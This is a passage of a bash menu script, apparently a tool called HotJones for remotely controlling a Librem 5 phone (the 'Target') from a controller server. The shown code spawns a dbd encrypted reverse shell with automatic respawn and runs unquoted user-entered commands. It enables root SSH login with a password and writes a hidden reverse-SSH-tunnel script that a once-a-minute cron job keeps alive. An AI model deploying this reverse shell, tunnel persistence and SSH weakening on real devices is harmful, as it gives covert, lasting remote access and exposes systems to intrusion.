select opt in "${options[@]}"
do
case $opt in
"Spawn Reverse Shell")
echo -e "\E[1;34m::::: \e[97mYou Need To Start A DBD Listener On Your Computer To Receive This Connection \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mCommand: dbd -lvp <port_number> -k <shared_secret> \E[1;34m:::::"
read -p 'Set Location/Server/Computer To Send Shell To: ' userlhost; read -p 'Set Open Port On Location/Server/Computer That You Want To Send Shell To: ' userlport; read -p 'Set Shared Secret (Similar To A Password) Shell To: ' usersecret;
#iptables -A INPUT -p tcp –dport $userlport -j ACCEPT
#service iptables save
dbd -r0 -k $usersecret $userlhost $userlport
#This needs to be tested. -r0 gives constant reconnection/respawn persistence.
;;
"Initiate Call")
read -p 'Set Hardware id= Number: ' userid;
;;
"Send SMS")
read -p 'Set Hardware id= Number: ' userid;
;;
"Send IM/Matrix")
read -p 'Set Hardware id= Number: ' userid;
;;
"Main Menu")
~/HotJones/hijack.sh
;;
"Quit")
echo "PREEEOOOOWWWWWWWW" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"11" | "11" )
echo -e "\E[1;34m::::: \e[97mApps & Services \E[1;34m:::::"
echo ""
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 7=Main Menu | 8=QUIT: '
options=("List Installed Applications" "Launch Application" "Start Service" "Stop Service" "Restart Service" "Check Service Status" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"List Installed Applications")
dpkg --get-selections
;;
"Launch Application")
echo -e "\E[1;34m::::: \e[97mThis Feature Will NOT Work With All Applications \E[1;34m:::::"
read -p 'Set Application To Launch: ' userapp; read -p 'Set Additional Application Parameters (Optional): ' userparams;
$userapp $userparams
;;
"Start Service")
read -p 'Set Service To Start: ' userserv;
service $userserv start
;;
"Stop Service")
read -p 'Set Service To Stop: ' userserv;
service $userserv stop
;;
"Restart Service")
read -p 'Set Service To Restart: ' userserv;
service $userserv restart
;;
"Check Service Status")
read -p 'Set Service To Check Status: ' userserv;
service $userserv status
;;
"Main Menu")
~/HotJones/hijack.sh
;;
"Quit")
echo "PREEEOOOOWWWWWWWW" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"12" | "12" )
echo -e "\E[1;34m::::: \e[97mReboot \E[1;34m:::::"
echo ""
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 2=Main Menu | 3=QUIT: '
options=("Reboot Device" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Reboot Device")
sudo reboot
;;
"Main Menu")
~/HotJones/hijack.sh
;;
"Quit")
echo "PREEEOOOOWWWWWWWW" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"13" | "13" )
# Accept upper or lowercase input.
echo -e "\E[1;34m::::: \e[97mCheck for Dependencies \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97m**WARNING** Only Run Dependencies Option For Your Correct Platform \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97m**WARNING** Failure To Heed This Warning Will Result In Security Vulnerabilities! \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 4=Main Menu | 5=QUIT: '
options=("Librem 5 Dependencies" "Controller Server Dependencies" "DBD Installer" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Librem 5 Dependencies")
clear
echo -e "\e[1;34m[*] Performing an APT Update prior to installing dependencies...\e[0m\n"
sleep 3
apt-get update
echo ""
echo -e "\e[1;32m[+] APT Update complete...\e[0m"
sleep 3
clear
echo -e "\e[1;34m[*] Please wait while I install some dependencies...\e[0m\n"
sleep 3
clear
# updatedb
mkdir /tmp/HotJones/
echo ""
reqs="alsa-utils xinput mplayer recordmydesktop ffmpeg gnome-screensaver openssh-server make"
for i in $reqs; do
dpkg -s "$i" &> /tmp/HotJones/$i-install.txt
isinstalled=$(cat /tmp/HotJones/$i-install.txt | grep -o "Status: install ok installed")
if [ ! -e /usr/bin/$i ] && [ ! -e /usr/sbin/$i ] && [ ! -e /usr/local/sbin/$i ] && [ ! -e /usr/local/bin/$i ] && [ -z "$isinstalled" ]; then
echo -e "\e[1;34m[-] It doesn't appear that $i is installed on your system. Installing it now...\e[0m"
echo ""
if [ ! -z $(apt-get install -y "$i" | grep -o "E: Couldn") ]; then
echo -e "\e[1;31m[-] I had a hard time installing $i from the Linux repository.\e[0m"
touch /tmp/HotJones/$i-fail.txt
else
dpkg -s "$i" &> /tmp/HotJones/$i-install.txt
isinstalled=$(cat /tmp/HotJones/$i-install.txt | grep -o "Status: install ok installed")
if [ ! -z "$isinstalled" ]; then
update=1
echo -e "\e[1;32m[+] Good news, $i installed without any issues.\e[0m"
echo ""
sleep 2
else
echo ""
echo -e "\e[1;31m[!] It doesn't appear that I will be able to install $i right now.\e[0m"
echo ""
sleep 2
fi
fi
else
echo -e "\e[1;32m[+] $i is already installed on your system, moving on...\e[0m"
echo ""
sleep 2
fi
done
rm -rf /tmp/HotJones/
;;
"Controller Server Dependencies")
clear
echo -e "\e[1;34m[*] Performing an APT Update prior to installing dependencies...\e[0m\n"
sleep 3
apt-get update
echo ""
echo -e "\e[1;32m[+] APT Update complete...\e[0m"
sleep 3
clear
echo -e "\e[1;34m[*] Please wait while I install some dependencies...\e[0m\n"
sleep 3
clear
# updatedb
mkdir /tmp/HotJones/
echo ""
reqs="gcc-mingw-w64-i686 openssh-server"
for i in $reqs; do
dpkg -s "$i" &> /tmp/HotJones/$i-install.txt
isinstalled=$(cat /tmp/HotJones/$i-install.txt | grep -o "Status: install ok installed")
if [ ! -e /usr/bin/$i ] && [ ! -e /usr/sbin/$i ] && [ ! -e /usr/local/sbin/$i ] && [ ! -e /usr/local/bin/$i ] && [ -z "$isinstalled" ]; then
echo -e "\e[1;34m[-] It doesn't appear that $i is installed on your system. Installing it now...\e[0m"
echo ""
if [ ! -z $(apt-get install -y "$i" | grep -o "E: Couldn") ]; then
echo -e "\e[1;31m[-] I had a hard time installing $i from the Linux repository.\e[0m"
touch /tmp/HotJones/$i-fail.txt
else
dpkg -s "$i" &> /tmp/HotJones/$i-install.txt
isinstalled=$(cat /tmp/HotJones/$i-install.txt | grep -o "Status: install ok installed")
if [ ! -z "$isinstalled" ]; then
update=1
echo -e "\e[1;32m[+] Good news, $i installed without any issues.\e[0m"
echo ""
sleep 2
else
echo ""
echo -e "\e[1;31m[!] It doesn't appear that I will be able to install $i right now.\e[0m"
echo ""
sleep 2
fi
fi
else
echo -e "\e[1;32m[+] $i is already installed on your system, moving on...\e[0m"
echo ""
sleep 2
fi
done
rm -rf /tmp/HotJones/
;;
"DBD Installer")
dbdinstalled=$(ls /usr/bin/dbd)
if [ "$dbdinstalled" == "/usr/bin/dbd" ]; then
echo -e "\n\e[1;34m[*] I see that DBD is already installed...\e[0m"
echo ""
sleep 3
echo "PREEEOOOOWWWWWWWW" && ~/HotJones/hijack.sh
else
echo -e "\e[1;34m[*] Performing DBD install...\e[0m\n"
clear
echo -e "\e[1;34mPlease wait while I install DBD on your machine...\e[0m"
echo ""
sleep 3
cp ~/HotJones/misc/dbd/conf/dbd_defaults.conf ~/HotJones/misc/dbd/dbd.h
cd ~/HotJones/misc/dbd/
make unix
chmod +x dbd
cp dbd ~/HotJones/misc/dbd/binaries/
mv dbd /usr/bin/
cd ~/HotJones/
echo ""
echo -e "\e[1;32mDone! Returning to the Main Menu...\e[0m"
echo ""
sleep 3
fi
;;
"Main Menu")
~/HotJones/hijack.sh
;;
"Quit")
echo "PREEEOOOOWWWWWWWW" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"14" | "14" )
# Accept upper or lowercase input.
echo -e "\E[1;34m::::: \e[97mSelf Healing SSH Client Generator \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97m**WARNING** This Is To Be Run On The Controller Server ONLY (After Installing Server Dependencies) \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mFollow The Prompts To Create The HotJones SSH Client Connector \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97m-------------------------------------------------------------- \E[1;34m:::::"
cat << "EOF"
The backup DBD client option should only be used by those who understand its uses and limitations.
DBD is a (non-tty shell) encrypted ncat clone. It is safe to use; but cannot be used to launch and operate HotJones.
DBD is included as a limited failsafe option in the event of a "just in case" scenario.
DBD will need to be placed on your Librem 5 & executed. It will then connect back you your "Controller Server".
Its connection is self-healing as well.
EOF
PS3='Enter your choice: ENTER=Options Menu | 4=Main Menu | 5=QUIT: '
options=("Configure Controller Server For SSH Client" "Librem 5 Client Connector Generator SSH" "Librem 5 Client Connector Generator (DBD Backup)" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Configure Controller Server For SSH Client")
echo -e "\e[1;34mRun This Once Before You Run The \"Librem 5 Client Connector Generator SSH\" Option \e[0m"
echo -e "\e[1;34mONLY RUN THIS *ONCE* ON YOUR CONTROLLER SERVER!! \e[0m"
sed -i -e '0,/PubkeyAuthentication/!b' -e '/PubkeyAuthentication/s/^#//' /etc/ssh/sshd_config
sed -i -e '0,/PasswordAuthentication/!b' -e '/PasswordAuthentication/s/^#//' /etc/ssh/sshd_config
sed -i -e '0,/AuthorizedKeysFile/!b' -e '/AuthorizedKeysFile/s/^#//' /etc/ssh/sshd_config
read -p "Are you logged in as root on your Controller Server [y|n]? " rootuser
echo ""
if [ "$rootuser" == "y" ]; then
sed -i -e '0,/PermitRootLogin/!b' -e '/PermitRootLogin/s/^#//' /etc/ssh/sshd_config
#Uncomment PermitRootLogin
sed -i "/PermitRootLogin/s/prohibit-password/yes/" /etc/ssh/sshd_config
#Change PermitRootLogin to yes
echo ""
echo -e "\e[1;34mSSH root user login with password temporarily enabled..\e[0m"
read -p "Press any key to contiue" enter
clear
else
echo ""
fi
#On Kali (or any OS where you are logged in as root) you need to set "PermitRootLogin yes" until the setup is complete
#Once complete set "PermitRootLogin prohibit-password" needs to be set so the root account cannat be ssh brute-forced
service ssh restart
echo -e "\e[1;34mHit \"Enter\" Twice To Accept No Passphrase\e[0m"
ssh-keygen -t rsa -f ~/.ssh/CS_rsa
echo -e "\e[1;34m**Move ~/.ssh/CS_rsa.pub To Target (Must Be Placed In ~/.ssh/)**\e[0m"
echo -e "\e[1;34mExample Command:\e[0m"
echo -e "\E[1;34m\e[97m \e[31mscp ~/.ssh/CS_rsa.pub LIBREM_5_USERNAME@LIBREM_5_IP:~/.ssh/\e[97m\E[1;34m"
echo -e "\e[1;34mOR\e[0m"
echo -e "\e[1;34m(\"cd\" into the directory where the file resides, then..)\e[0m"
echo -e "\e[1;34mHost The File With This Command:\e[0m"
echo -e "\E[1;34m\e[97m \e[31mpython -m SimpleHTTPServer\e[97m\E[1;34m"
echo -e "\e[1;34mThen Use wget or curl From Target To Pull File Down\e[0m"
echo -e "\e[1;34m(ON THE LIBREM 5 \"cd\" into the directory where the file is to be placed, then..)\e[0m"
echo -e "\e[1;34mExample Command:\e[0m"
echo -e "\E[1;34m\e[97m \e[31mwget http://CONTROLLER_SERVER_IP:8000/CS_rsa.pub\e[97m\E[1;34m"
read -p "Press Enter When Ready To Proceed"
echo -e "\e[1;34m**YOUR CS_rsa.pub KEY *MUST* BE ADDED TO THE ~/.ssh/authorized_keys FILE ON YOUR LIBREM 5**\e[0m"
echo -e "\e[1;34m::::::::::::THE FOLLOWING STEP IS TO BE DONE ON YOUR LIBREM 5::::::::::::\e[0m"
echo -e "\E[1;34m\e[97m \e[31mcat ~/.ssh/CS_rsa.pub >> ~/.ssh/authorized_keys\e[97m\E[1;34m"
;;
"Librem 5 Client Connector Generator SSH")
read -p "Are you logged in as root on your Controller Server [y|n]? " rootuser
echo ""
echo -e "\e[1;34mStep 1 - Enable SSH Public Key & Password Authentication On Target By Running This Command On Target:\e[0m"
echo ""
echo -e "\E[1;34m\e[97m \e[31msudo sed -i -e '0,/PubkeyAuthentication/!b' -e '/PubkeyAuthentication/s/^#//' /etc/ssh/sshd_config && sudo sed -i -e '0,/PasswordAuthentication/!b' -e '/PasswordAuthentication/s/^#//' /etc/ssh/sshd_config && sudo sed -i -e '0,/AuthorizedKeysFile/!b' -e '/AuthorizedKeysFile/s/^#//' /etc/ssh/sshd_config\e[97m\E[1;34m"
echo ""
echo -e "\e[1;34m**Step 2 - Create The Persistence (Self Healing Connection) Script To Run On Your Librem 5**\e[0m"
read -p 'Set Local SSH Port On Librem 5 (i.e., 1080): ' userlport; read -p 'Set SSH Port On Controller Server (i.e., 22): ' userrport; read -p 'Set Username On Controller Server: ' username; read -p 'Set IP/Domain Name Of Controller Server: ' userhost;
touch ~/HotJones/.cst
echo -e "#!/bin/bash" > ~/HotJones/.cst
echo -e "if ps ax | grep -v grep | grep \"ssh -N -R\" > /dev/null" >> ~/HotJones/.cst
echo -e "then" >> ~/HotJones/.cst
echo -e " echo \"Tunnel running\"" >> ~/HotJones/.cst
echo -e "else" >> ~/HotJones/.cst
echo -e " echo \"Tunnel is not running, Starting service.\"" >> ~/HotJones/.cst
echo -e " ssh -N -R "$userlport":localhost:"$userrport" "$username"@"$userhost"" >> ~/HotJones/.cst
echo -e "fi" >> ~/HotJones/.cst
echo ""
echo -e "\e[1;34m**Step 3 - Move ~/HotJones/.cst Script To Librem 5 (Recommend Placing It In ~/)**\e[0m"
echo -e "\e[1;34mExample Command:\e[0m"
echo -e "\E[1;34m\e[97m \e[31mscp ~/HotJones/.cst LIBREM_USERNAME@LIBREM_5_IP:~/\e[97m\E[1;34m"
echo -e "\e[1;34mOr Move It Manually Via SDCard, USB, Etc.\e[0m"
read -p "Press Enter When Ready To Proceed"
#These steps done on Librem 5*****
echo -e "\e[1;34m::::::::::::THESE FOLLOWING STEPS ARE TO BE DONE ON YOUR LIBREM 5::::::::::::\e[0m"
echo ""
echo -e "\e[1;34m**Step 4 - Make Script Executable By Running This Command In Terminal On Your Librem 5 (Your Teminal Window Must \"cd\" Into The Directory Where You Placed The Script):**\e[0m"
echo -e "\E[1;34m\e[97m \e[31mchmod +x .cst\e[97m\E[1;34m"
echo ""
read -p "Press Enter When Ready To Proceed"
echo -e "\e[1;34m**Step 5 - Make Script Monitor & Repair The Connetion When Necessary**\e[0m"
echo -e "\e[1;34mNow Start The Crontab (Schedule The Job) With This Command:\e[0m"
echo -e "\E[1;34m\e[97m \e[31mcrontab -e\e[97m\E[1;34m"
echo -e "\e[1;34mPlace the line below in as your cron job (a once per minute check to see if the ssh connection is up, if not, attempt to bring it up):\e[0m"
echo ""
echo -e "\e[1;34mMAKE SURE To Enter YOUR Correct Path For The .cst File & The SSH Log File!!\e[0m"
echo -e "\E[1;34m\e[97m \e[31m*/1 * * * * /path/to/.cst > /home/<user>/.ssh/tunnel.log 2>&1\e[97m\E[1;34m"
read -p "Press Enter When Ready To Proceed"